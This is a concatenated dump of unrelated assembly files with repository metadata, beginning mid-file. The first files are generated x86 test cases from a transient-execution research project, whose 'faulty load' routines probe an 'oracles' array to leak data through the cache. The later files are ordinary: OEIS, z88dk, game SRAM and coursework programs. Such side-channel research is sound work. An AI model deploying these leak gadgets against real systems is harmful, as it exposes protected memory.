(%r10,%rax,1), %rax pop %rdx pop %rbx pop %rax pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': True, 'congruent': 4, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'00': 3515, '44': 18314} 00 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 00 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 00 00 44 44 44 44 00 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 00 44 44 44 44 00 00 00 00 00 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 00 00 00 44 00 00 00 00 44 44 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 44 44 44 44 44 44 44 44 00 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 00 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 00 00 00 00 44 44 00 00 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 00 00 00 00 00 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 00 44 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 44 00 44 44 00 00 00 00 00 44 44 44 44 44 44 00 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 00 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 00 00 44 44 44 00 00 00 44 44 00 00 00 00 00 44 00 00 44 44 44 44 44 44 44 00 00 00 00 44 44 44 44 44 44 44 */
35.852632
2,999
0.652672
08392d00b1bb23bd8016364ef70a8186cd49cbdd
7,430
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_14659_1192.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_14659_1192.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_14659_1192.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x129b0, %rsi lea addresses_normal_ht+0x159e0, %rdi nop and $8577, %rbx mov $83, %rcx rep movsq nop nop nop and %r15, %r15 lea addresses_D_ht+0x1b7d0, %rsi lea addresses_normal_ht+0x102a0, %rdi nop nop add $54320, %rax mov $15, %rcx rep movsl nop nop nop sub $14759, %rcx lea addresses_UC_ht+0x61e0, %rsi lea addresses_D_ht+0xce30, %rdi clflush (%rsi) nop nop nop dec %rbx mov $22, %rcx rep movsw nop nop inc %rbx lea addresses_A_ht+0x1dad4, %rsi nop nop nop add $13569, %r12 movb $0x61, (%rsi) nop dec %r15 lea addresses_A_ht+0x16bb0, %rcx nop nop nop nop and %rdi, %rdi mov $0x6162636465666768, %r12 movq %r12, (%rcx) nop sub $54205, %rdi lea addresses_A_ht+0x1dbe0, %rdi nop nop nop xor $11760, %rax movups (%rdi), %xmm6 vpextrq $1, %xmm6, %r12 nop sub $58178, %rsi lea addresses_A_ht+0x118b0, %r15 nop nop add %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm6 and $0xffffffffffffffc0, %r15 vmovaps %ymm6, (%r15) nop nop nop and $47826, %rcx lea addresses_normal_ht+0x17db0, %r12 nop nop nop nop nop cmp %r15, %r15 movb $0x61, (%r12) nop nop nop nop cmp %rcx, %rcx lea addresses_normal_ht+0x53b0, %rsi lea addresses_WT_ht+0x2530, %rdi nop nop nop nop nop and $16263, %r10 mov $64, %rcx rep movsl nop add $40005, %rax lea addresses_normal_ht+0x1b9b0, %rsi lea addresses_WC_ht+0x1ec70, %rdi nop nop nop nop nop and $17536, %rbx mov $40, %rcx rep movsl nop sub %r10, %r10 lea addresses_UC_ht+0x95b0, %rsi lea addresses_A_ht+0x76d8, %rdi nop nop nop nop nop cmp $64028, %r10 mov $117, %rcx rep movsq add $7658, %r10 lea addresses_WC_ht+0x12110, %rsi nop nop sub %r12, %r12 movb $0x61, (%rsi) nop nop dec %r12 lea addresses_WT_ht+0x14d8, %rcx clflush (%rcx) nop xor $12613, %r12 movw $0x6162, (%rcx) nop xor $3145, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %rax push %rbp push %rcx push %rdx // Faulty Load lea addresses_D+0x139b0, %r8 nop nop cmp $41884, %rdx vmovups (%r8), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rcx lea oracles, %rax and $0xff, %rcx shlq $12, %rcx mov (%rax,%rcx,1), %rcx pop %rdx pop %rcx pop %rbp pop %rax pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'36': 14659} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
35.721154
2,999
0.661642
1768cb5d9cbd3597adcefc1039dc83aa375ac1d8
396
asm
Assembly
oeis/287/A287922.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/287/A287922.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/287/A287922.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A287922: a(n) = prime(1)^2 + prime(n)^2. ; Submitted by Jamie Morken(s3) ; 8,13,29,53,125,173,293,365,533,845,965,1373,1685,1853,2213,2813,3485,3725,4493,5045,5333,6245,6893,7925,9413,10205,10613,11453,11885,12773,16133,17165,18773,19325,22205,22805,24653,26573,27893,29933,32045,32765,36485 mul $0,2 max $0,1 seq $0,173919 ; Numbers that are prime or one less than a prime. pow $0,2 add $0,4
39.6
218
0.729798
4d061abd698378dcab5fff36823169d59db4f6d3
883
asm
Assembly
libsrc/_DEVELOPMENT/string/z80/asm_memset_wr.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/string/z80/asm_memset_wr.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/string/z80/asm_memset_wr.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; =============================================================== ; Feb 2021 ; =============================================================== ; ; void *memset_wr(void *s, int c, size_t n) ; ; Write c into the first n bytes of s. ; ; Only writes to memory, doesn't read. ; ; =============================================================== INCLUDE "config_private.inc" SECTION code_clib SECTION code_string PUBLIC asm_memset_wr asm_memset_wr: ; ; enter : hl = void *s ; e = char c ; bc = uint n ; ; exit : hl = void *s ; de = ptr in s to byte after last one written ; bc = 0 ; carry reset ; ; uses : af, bc, de ld a,b or c ld a,e ld e,l ld d,h ret z push hl ld e,a loop: ld (hl),e inc hl dec bc ld a,b or c jr nz,loop ex de,hl pop hl ret
15.224138
65
0.400906
a4c9a38cbe4d141b44a46ea9528a5ea745d9ffb7
1,071
asm
Assembly
sram.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
sram.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
sram.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
SECTION "Sprite Buffers", SRAM sSpriteBuffer0:: ds SPRITEBUFFERSIZE sSpriteBuffer1:: ds SPRITEBUFFERSIZE sSpriteBuffer2:: ds SPRITEBUFFERSIZE ds $100 sHallOfFame:: ds HOF_TEAM * HOF_TEAM_CAPACITY SECTION "Save Data", SRAM ds $598 sPlayerName:: ds NAME_LENGTH sMainData:: ds wMainDataEnd - wMainDataStart sSpriteData:: ds wSpriteDataEnd - wSpriteDataStart sPartyData:: ds wPartyDataEnd - wPartyDataStart sCurBoxData:: ds wBoxDataEnd - wBoxDataStart sTileAnimations:: db sMainDataCheckSum:: db ; The PC boxes will not fit into one SRAM bank, ; so they use multiple SECTIONs box_n = 0 boxes: MACRO REPT \1 box_n = box_n + 1 sBox{d:box_n}:: ds wBoxDataEnd - wBoxDataStart ENDR ENDM SECTION "Saved Boxes 1", SRAM ; sBox1 - sBox6 boxes 6 sBank2AllBoxesChecksum:: db sBank2IndividualBoxChecksums:: ds 6 SECTION "Saved Boxes 2", SRAM ; sBox7 - sBox12 boxes 6 sBank3AllBoxesChecksum:: db sBank3IndividualBoxChecksums:: ds 6 ; All 12 boxes fit within 2 SRAM banks ASSERT box_n == NUM_BOXES, \ "boxes: Expected {d:NUM_BOXES} total boxes, got {d:box_n}"
20.596154
60
0.763772
b1ec7435de71d457102afa7811880795f516388a
873
asm
Assembly
test/prefetch.asm
killvxk/AssemblyLine
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
[ "Apache-2.0" ]
147
2021-09-01T03:52:49.000Z
2022-03-30T16:59:58.000Z
test/prefetch.asm
killvxk/AssemblyLine
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
[ "Apache-2.0" ]
9
2021-09-15T18:04:36.000Z
2021-09-28T01:22:15.000Z
test/prefetch.asm
killvxk/AssemblyLine
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
[ "Apache-2.0" ]
19
2021-09-09T10:54:44.000Z
2022-03-18T19:56:45.000Z
SECTION .text GLOBAL test test: prefetcht0 [rbp] prefetcht0 [rsi] prefetcht0 [rdi] prefetcht0 [rsp] prefetcht0 [rbp] prefetcht0 [r9] prefetcht0 [r10] prefetcht0 [r11] prefetcht0 [r12] prefetcht0 [r13] prefetcht0 [r14] prefetcht0 [r15] prefetcht1 [rdi] prefetcht1 [rbp] prefetcht1 [rsi] prefetcht1 [rdi] prefetcht1 [rsp] prefetcht1 [rbp] prefetcht1 [r9] prefetcht1 [r10] prefetcht1 [r11] prefetcht1 [r12] prefetcht1 [r13] prefetcht1 [r14] prefetcht1 [r15] prefetcht2 [rbp] prefetcht2 [rsi] prefetcht2 [rdi] prefetcht2 [rsp] prefetcht2 [rbp] prefetcht2 [r9] prefetcht2 [r10] prefetcht2 [r11] prefetcht2 [r12] prefetcht2 [r13] prefetcht2 [r14] prefetcht2 [r15] prefetchnta [rbp] prefetchnta [rsi] prefetchnta [rdi] prefetchnta [rsp] prefetchnta [rbp] prefetchnta [r9] prefetchnta [r10] prefetchnta [r11] prefetchnta [r12] prefetchnta [r13] prefetchnta [r14] prefetchnta [r15]
16.471698
17
0.767468
e863460eec66b27986da34b5545871fc0e8ae691
420
asm
Assembly
tests/J/test2.asm
madhav-datt/mmcpu
e252133e3fd71076596c08775b79dd8bd35135b6
[ "MIT" ]
null
null
null
tests/J/test2.asm
madhav-datt/mmcpu
e252133e3fd71076596c08775b79dd8bd35135b6
[ "MIT" ]
null
null
null
tests/J/test2.asm
madhav-datt/mmcpu
e252133e3fd71076596c08775b79dd8bd35135b6
[ "MIT" ]
null
null
null
# Recursive sum of natural numbers # main: addi $sp, $sp, 128 addi $s0, $0, 3 # number = 42 add $a0, $s0, $0 jal sum add $s1, $v0, $0 j done sum: addi $sp, $sp, -20 sw $a0, 0($sp) sw $ra, 4($sp) bne $a0, $0, notzero addi $v0, $0, 0 j return notzero: lw $t1, 0($sp) addi $a0, $t1, -1 jal sum lw $t1, 0($sp) add $v0, $v0, $t1 j return return: lw $ra, 4($sp) addi $sp, $sp, 20 jr $ra done:
11.666667
34
0.533333
3bf17dc15243145d657d2e019f5f207e35f66ac8
759
asm
Assembly
oeis/051/A051408.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/051/A051408.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/051/A051408.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A051408: a(n+1) = a(n) + sum of digits of (a(n)^3). ; Submitted by Christian Krause ; 3,12,30,39,66,102,120,138,165,192,237,255,291,318,345,372,417,444,489,525,552,597,633,669,714,759,804,849,885,921,966,1011,1038,1083,1128,1164,1218,1254,1299,1353,1407,1452,1488,1533,1578,1623,1668,1713,1758,1785,1830,1866,1929,1992,2046,2100,2118,2154,2217,2262,2316,2361,2406,2460,2505,2559,2622,2676,2730,2757,2802,2856,2901,2937,2982,3027,3081,3126,3180,3207,3252,3297,3351,3396,3441,3477,3513,3567,3621,3666,3720,3765,3810,3837,3891,3954,4008,4062,4107,4152 mov $2,$0 add $2,2 mov $3,$0 lpb $3 mov $0,$2 sub $2,1 sub $3,1 sub $0,$3 pow $0,3 seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n). add $2,$0 lpe mov $0,$2 add $0,1
39.947368
464
0.698287
9c4f76917336ba81ce60e90f60bb36d4c8f01b49
164
asm
Assembly
add.asm
oleksii-dmytrenko/hack
71756a24fffb06f0a7acbf0a79fd58be573bb63e
[ "BSD-2-Clause" ]
null
null
null
add.asm
oleksii-dmytrenko/hack
71756a24fffb06f0a7acbf0a79fd58be573bb63e
[ "BSD-2-Clause" ]
null
null
null
add.asm
oleksii-dmytrenko/hack
71756a24fffb06f0a7acbf0a79fd58be573bb63e
[ "BSD-2-Clause" ]
null
null
null
// Adds up two numbers // RAM[2] = RAM[0] + RAM[1] // Usage: put the values that you wish to add in // RAM[0] and RAM[1] @0 D=M @1 D=D+M @2 M=D @6 0;JMP
9.647059
48
0.542683
560715cc8b9298667e18aa18e2f224fa7e165ff8
2,670
asm
Assembly
lab09.asm
m-ross/cis225p9
efab2c24a45951337bde27122f8a433b86b835b4
[ "MIT" ]
null
null
null
lab09.asm
m-ross/cis225p9
efab2c24a45951337bde27122f8a433b86b835b4
[ "MIT" ]
null
null
null
lab09.asm
m-ross/cis225p9
efab2c24a45951337bde27122f8a433b86b835b4
[ "MIT" ]
null
null
null
TITLE lab09mr ; Programmer: Marcus Ross ; Due: 5 May, 2014 ; Description: This program takes input from the keyboard in the form of a single character, displays that character's ASCII code, displays the quantity of 1's in that code, and repeats until user chooses to stop. .MODEL SMALL .386 .STACK 40h ;========================== .DATA errorMsg DB 'Input was not a valid character', 0ah, 0dh, 24h newLine DB 0ah, 0dh, 24h asciiMsg DB 'ASCII Code: ', 24h bitsMsg DB 'Number of bits set: ', 24h prompt DB 'Enter a character (press return to exit): ', 24h ;========================== .CODE Main PROC NEAR mov ax, @data ; init data mov ds, ax ; segment register start: call GetChar ; get char from keyboard cmp al, 0dh ; input - carriage return jz finish ; done looping if input = carriage return cmp al, 0 ; input - 0 jz dispE ; jump ahead if input not ASCII call DispASCII ; display ASCII code call DispQty ; display number of bits set jmp start ; loop dispE: call DispError ; display error if input was not ASCII jmp start ; loop finish: mov ax, 4c00h ; return code 0 int 21h ENDP ;========================== GetChar PROC NEAR mov dx, OFFSET prompt mov ah, 09h int 21h ; display prompt mov ah, 00h int 16h ; input char -> al ret ENDP DispLine MACRO mov dx, OFFSET newLine mov ah, 09h int 21h ; display new line macro ENDM ;========================== DispError PROC NEAR DispLine ; display new line macro mov dx, OFFSET errorMsg mov ah, 09h int 21h ; display error message DispLine ; display new line macro ret ENDP ;========================== DispASCII PROC NEAR DispLine ; display new line macro mov ch, 0 ; reset bit count mov cl, 8 ; rotate 8 times mov bl, al ; DOS call to display char uses al mov dx, OFFSET asciiMsg mov ah, 09h int 21h ; display line header rotate: rol bl, 1 ; put bit from input char into CF jnc notSet ; if CF is not set, jump mov dl, '1' ; for displaying inc ch ; count number of bits set jmp disp notSet: mov dl, '0' ; for displaying disp: mov ah, 02h int 21h ; display '1' or '0' from CF dec cl jnz rotate ; loop if not done with all 8 bits DispLine ; display new line macro ret ENDP ;========================== DispQty PROC NEAR mov dx, OFFSET bitsMsg int 21h ; display line header mov dl, ch ; bit count -> dl add dl, '0' ; value -> ASCII mov ah, 02h int 21h ; display ASCII DispLine ; display new line macro int 21h ; display another line ret ENDP ;========================== END Main
27.244898
214
0.615356
52384a1b541caeef05108cfd17a1b8da7eb5dc90
262
asm
Assembly
vm/asm_constructions_test/PushLocalConstructionTest.asm
MarkoVMicic/nand2tetris-solutions
a917a861d520348f70d084da6aadbfdc90daa10a
[ "Unlicense" ]
null
null
null
vm/asm_constructions_test/PushLocalConstructionTest.asm
MarkoVMicic/nand2tetris-solutions
a917a861d520348f70d084da6aadbfdc90daa10a
[ "Unlicense" ]
null
null
null
vm/asm_constructions_test/PushLocalConstructionTest.asm
MarkoVMicic/nand2tetris-solutions
a917a861d520348f70d084da6aadbfdc90daa10a
[ "Unlicense" ]
null
null
null
// Initialize stack pointer to start at 256 (i.e. RAM[0] contains 256) @256 D=A @SP M=D // Initialize local pointer to start at 300 @300 D=A @LCL M=D // Put something in local space @69 D=A @303 M=D // Push local 3 @LCL D=M @3 A=D+A D=M @SP A=M M=D @SP M=M+1
8.733333
70
0.645038
bf5089d3501ce27465c0424eafdb87b33b552f1b
349
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/esxdos_f_open_p3.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/esxdos_f_open_p3.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
